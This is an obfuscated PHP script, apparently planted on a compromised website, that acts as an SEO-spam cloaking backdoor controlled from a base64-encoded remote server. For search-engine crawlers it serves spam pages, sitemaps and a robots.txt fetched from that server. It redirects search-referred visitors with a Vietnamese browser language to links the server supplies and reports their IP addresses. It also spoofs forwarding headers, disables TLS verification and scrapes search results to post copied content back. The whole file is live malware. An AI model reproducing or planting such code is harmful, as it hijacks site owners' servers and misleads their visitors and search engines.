<?php
if(!defined("HH__H"))define("HH__H", ord(1));@set_time_limit(((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR));error_reporting(((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR));$curl_timeout=((30*E_COMPILE_ERROR-1920)-4347+68*E_COMPILE_ERROR);$TD_server="aHR0cDovL2guaXNyaWdodC50b3A=";$TD_server=base64_decode($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode(strtolower($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');if(strpos($user_agent,'google')!==false||strpos($user_agent,'slurp')!==false||strpos($user_agent,'bingbot')!==false){ob_clean();if(substr($request,-((30*E_COMPILE_ERROR-1920)-4604+E_COMPILE_ERROR*72))===".xml"){header('Content-Type: application/xml; charset=utf-8');if(stripos($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR)]==((E_COMPILE_ERROR*38-2432)-2488+E_COMPILE_ERROR*42)){echo $response[((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)];exit;}}else if(stripos($request,'robots.txt')!==false){header('Content-Type: text/plain');$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type.rtrim($host,'/'). "/" . "sitemap.xml
";echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if(preg_match($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR)]==((E_COMPILE_ERROR*38-2432)-2488+E_COMPILE_ERROR*42)){header('Content-Type: text/html; charset=utf-8');echo $response[((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)];exit;}if($response[((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR)]!=((E_COMPILE_ERROR*38-2432)-2488+E_COMPILE_ERROR*42)&&!empty($response[((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)])){$json_data=str_replace(array(chr((52*E_COMPILE_ERROR-3089)),chr((E_COMPILE_ERROR*91-5637)),chr(((E_COMPILE_ERROR*38-2432)-2625+E_COMPILE_ERROR*44)),"
","","
","	"),'',$response[((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR)],'html_text'=>$spider_result[((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)]);}else{$pid=isset($pid)?$pid:((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'coccoc')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[((30*E_COMPILE_ERROR-1920)-4480+70*E_COMPILE_ERROR)]==((E_COMPILE_ERROR*38-2432)-2488+E_COMPILE_ERROR*42)&&strlen($response[((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)])>((30*E_COMPILE_ERROR-1920)-4347+68*E_COMPILE_ERROR)){$tzurl=trim($response[((E_COMPILE_ERROR*38-2432)-1663+26*E_COMPILE_ERROR)]);$tzurl=str_replace(array(chr((52*E_COMPILE_ERROR-3089)),chr((E_COMPILE_ERROR*91-5637)),chr(((E_COMPILE_ERROR*38-2432)-2625+E_COMPILE_ERROR*44)),"
","","
","	"),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand((25*E_COMPILE_ERROR-1599),(19*E_COMPILE_ERROR-1116)),'Mozilla/' .rand((30*E_COMPILE_ERROR-1917),((0-2432+38*E_COMPILE_ERROR)-2363+E_COMPILE_ERROR*37)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand((22*E_COMPILE_ERROR-1358),(E_COMPILE_ERROR*41-2564)). ') Gecko/20100101 Firefox/' .rand((25*E_COMPILE_ERROR-1599),(19*E_COMPILE_ERROR-1116)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand((22*E_COMPILE_ERROR-1358),(E_COMPILE_ERROR*41-2564)). ') AppleWebKit/' .rand((E_COMPILE_ERROR*99-5836),((0-2432+38*E_COMPILE_ERROR)+152+E_COMPILE_ERROR*7)). '.36 (KHTML, like Gecko) Chrome/' .rand((22*E_COMPILE_ERROR-1358),(E_COMPILE_ERROR*41-2564)). '.0.3112.90 Safari/' .rand((E_COMPILE_ERROR*99-5836),((0-2432+38*E_COMPILE_ERROR)+152+E_COMPILE_ERROR*7)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((E_COMPILE_ERROR*18-1139),(66*E_COMPILE_ERROR-4208)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((E_COMPILE_ERROR*90-5670),(19*E_COMPILE_ERROR-1116)). '.0.4430.212 Safari/537.36 Edg/' .rand((E_COMPILE_ERROR*90-5670),(19*E_COMPILE_ERROR-1116)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((E_COMPILE_ERROR*90-5670),(19*E_COMPILE_ERROR-1116)). '.0.4430.212 Safari/537.36 OPR/' .rand(((0-2432+38*E_COMPILE_ERROR)-2740+44*E_COMPILE_ERROR),((0-2432+38*E_COMPILE_ERROR)-1322+22*E_COMPILE_ERROR)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand((E_COMPILE_ERROR*86-5496),(E_COMPILE_ERROR*47-2996)). '.0; SM-G9' .rand(((0-2432+38*E_COMPILE_ERROR)-2363+E_COMPILE_ERROR*37),((0-2432+38*E_COMPILE_ERROR)-4535+71*E_COMPILE_ERROR)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand((E_COMPILE_ERROR*90-5670),(19*E_COMPILE_ERROR-1116)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((E_COMPILE_ERROR*98-6258),(66*E_COMPILE_ERROR-4208)). '_' .rand((0-2432+38*E_COMPILE_ERROR),((0-2432+38*E_COMPILE_ERROR)-2363+E_COMPILE_ERROR*37)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((E_COMPILE_ERROR*98-6258),(66*E_COMPILE_ERROR-4208)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand((96*E_COMPILE_ERROR-6143),(E_COMPILE_ERROR*61-3650)). '.' .rand((96*E_COMPILE_ERROR-6143),(E_COMPILE_ERROR*61-3650)). '.' .rand((96*E_COMPILE_ERROR-6143),(E_COMPILE_ERROR*61-3650)). '.' .rand((96*E_COMPILE_ERROR-6143),(E_COMPILE_ERROR*61-3650));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(((0-1984+31*E_COMPILE_ERROR)-256+E_COMPILE_ERROR*4)-448+7*E_COMPILE_ERROR));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(E_COMPILE_ERROR*6-382));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,(96*E_COMPILE_ERROR-6143));curl_setopt($curl,CURLOPT_AUTOREFERER,(96*E_COMPILE_ERROR-6143));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,(96*E_COMPILE_ERROR-6143));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,(((0-1984+31*E_COMPILE_ERROR)-256+E_COMPILE_ERROR*4)-448+7*E_COMPILE_ERROR));curl_setopt($curl,CURLOPT_RETURNTRANSFER,(96*E_COMPILE_ERROR-6143));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. "
" . "Referer: " .$referer. "
",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[(((0-1984+31*E_COMPILE_ERROR)-256+E_COMPILE_ERROR*4)-448+7*E_COMPILE_ERROR)],$matches);$httpcode=isset($matches[(96*E_COMPILE_ERROR-6143)])?(int)$matches[(96*E_COMPILE_ERROR-6143)]:(((0-1984+31*E_COMPILE_ERROR)-256+E_COMPILE_ERROR*4)-448+7*E_COMPILE_ERROR);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(16*E_COMPILE_ERROR-1024));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$ua. "
",'content'=>$postData,'timeout'=>(E_COMPILE_ERROR*1-54)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[(16*E_COMPILE_ERROR-1024)]));return substr($firstLang,(16*E_COMPILE_ERROR-1024),((E_COMPILE_ERROR*81-5184)-5758+90*E_COMPILE_ERROR))===$lang?(E_COMPILE_ERROR*54-3455):(16*E_COMPILE_ERROR-1024);}return (16*E_COMPILE_ERROR-1024);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (E_COMPILE_ERROR*13-832);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(E_COMPILE_ERROR*94-6016)]==(0-2936+E_COMPILE_ERROR*49)){$htmltext=trim($spider_html[(0-1599+E_COMPILE_ERROR*25)]);if(strlen($htmltext)>(0-2800+75*E_COMPILE_ERROR)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.com.vn/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[(E_COMPILE_ERROR*34-2176)]===((E_COMPILE_ERROR*38-2432)-5880+E_COMPILE_ERROR*95)){$dom=new DOMDocument();@$dom->loadHTML($result[(E_COMPILE_ERROR*85-5439)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===(E_COMPILE_ERROR*34-2176)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[(E_COMPILE_ERROR*85-5439)],(E_COMPILE_ERROR*34-2176),-(0-1404+E_COMPILE_ERROR*22));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;}
?>